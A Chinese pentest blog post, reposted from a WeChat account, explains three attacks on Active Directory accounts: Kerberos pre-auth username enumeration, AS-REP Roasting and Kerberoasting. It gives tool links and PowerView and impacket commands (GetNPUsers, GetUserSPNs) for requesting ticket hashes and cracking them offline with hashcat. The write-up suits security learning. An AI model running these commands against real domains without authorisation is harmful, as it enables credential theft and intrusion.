「域渗透」域账户的几种攻击方式

admin 2022年5月28日22:56:20评论76 views字数 1516阅读5分3秒阅读模式

比较简单的关于域账户的几种攻击方式

0x01 Pre-Authentication

    适用于在域外的时候,对域内的用户名进行枚举。利用Kerberos pre-auth的特性,在AS-REP中:

如果进行请求的用户存在,error-code为:ERR-PREAUTH-REQUIRED

如果请求的用户不存在,error-code为:ERR-PRINCIPAL-UNKNOWN

可利用工具:

https://github.com/ropnop/kerbrute

https://github.com/3gstudent/pyKerbrute

随后获取到有效域内用户名即可利用密码喷射拿到有效凭据开始下一步。

当然密码喷射要查看对应域的锁定策略

0x02 AS-REP Roasting

    如果用户开启了“不使用Kerberos预认证”,在AS-REP阶段,可以在任意一台能访问DC的机器(域内域外均可)上请求该用户TGT,此时DC不会作校验就将TGT和Session Key返回,则可对Session Key(经过用户的RC4-HMAC密码加密)进行脱机暴力破解,进而获得hash以及密码明文。

    默认情况下,这个是禁用的

遍历开启此属性

开启此属性需要有GenericWrite权限

  1. 使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户。
  2. PowerView:
Import-Module .PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
请求票据
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName testuser2 -Domain holy.testA | Out-File -Encoding ASCII hash.txt
impacket
python3 GetNPUsers.py  pig.com/duck:test123 -dc-ip 10.0.19.0 -usersfile user.txt -format john -outputfile hash

然后可以用 HashCat去 破解

0x03 kerberoasting

    由于Kerberos的工作原理,任何用户都可以请求在域内的用户或计算机帐户中具有已注册SPN(HOST或任意)的任何服务的TGS。注意只是请求此票证,而并不会授予对请求用户的访问权限,因为服务会最终确定是否应授予用户访问资源的权限。 

    由于这一点,并且因为请求SPN实例的TGS的一部分是用服务帐户的明文密码的NTLM哈希进行了加密,所以任何用户都可以请求这些TGS票证,然后离线破解服务帐户的明文密码,而不用担心帐户被锁定。

请求TGS

    可以使用GetUserSPNs或是mimikatz请求TGS,并导出利用hashcat等进行离线破解。

    如impacket内工具:

python3 GetUserSPNs.py pig.com/duck:test123 -dc-ip 10.0.19.0


想要理解原理可以抓包详细查看,所以,AS-REP Roasting、kerberoasting、Pre-Authentication 的区别是什么?




「域渗透」域账户的几种攻击方式


原文始发于微信公众号(黑客在思考):「域渗透」域账户的几种攻击方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月28日22:56:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   「域渗透」域账户的几种攻击方式http://cn-sec.com/archives/1061359.html

发表评论

匿名网友 填写信息